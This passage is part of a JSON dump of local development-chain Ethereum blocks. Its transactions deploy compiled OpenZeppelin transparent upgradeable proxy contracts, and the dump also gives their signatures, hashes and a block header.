61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xaa92bdc2fea27caffa5c9ac432fc1736596e6871e184c56e09d7c594e4e8da43","s":"0x781a342dde8da23234b676c1fa520729863e5439cab876b6881ac3a35f82040f","yParity":"0x0","hash":"0x5dead20b4c3f813eda86ad0db00804216aad53392b85ccdd5cd198703ebdb975"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x26","gas":"0xb5c61","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xb66fc3f16156b377b16a95e4ea551ae0aaf62e9fbe1313de94c4c63027d37c66","s":"0x54fb14f5ae3312862147a0b3d4316765f93edf41862b17526fb436b08f31fda0","yParity":"0x1","hash":"0xbd7d5d3864c8406f75b4c00be61882ed8ea14af686ec047a447f9a3e6248d2fd"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x27","gas":"0xb5c61","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xb27c55378bf01e7d79ce7588dc2db3c194399cec863c2dc9152f49262d930e1c","s":"0x626e3afd84414562018828947ffb0dd903bd1f7942e68731b0d3473cb4f15e5","yParity":"0x1","hash":"0x035e03a62da66d8142ad00924a2580943aa598f94e17ea62d19cbf8b0d149f5d"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x28","gas":"0xb5c61","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xf17025c3e231fb4f95117ba226a5649ba11b3ecf600a642f14e8deee4f0d18e0","s":"0x2d77c72e9281b51acb1d83998131b7341154d27ca0f813d25e489bf0bc6ec5c","yParity":"0x0","hash":"0xdbdadf45fb439e8fa448e3a2a65d102e6ea90fd393e3cd024c9499759f3683cc"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xfede283911ba375e70bbe42924c1b4680387bc5762aa0a081e0f3b967f9aa6c7","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xf0b0783935d48b7175ff6f9cfd2ac59495158f08ae401c0da60869bc89d3d601","transactionsRoot":"0x1b9f49e96bd1f91f8b7261396c3592f855ad9a1d42df078b9ec84f415bbc2cd4","receiptsRoot":"0x8089bf693ed84c719e29dca767c6d576311fd1937a79151d6c5bc86f9e9bbafa","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000010000000010000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000040000000000000800000000000000000000000000000000040000000000000000000000000000000008000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x6","gasLimit":"0x1c9c380","gasUsed":"0x117e5c","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1f7fee1f","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x7","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b0390911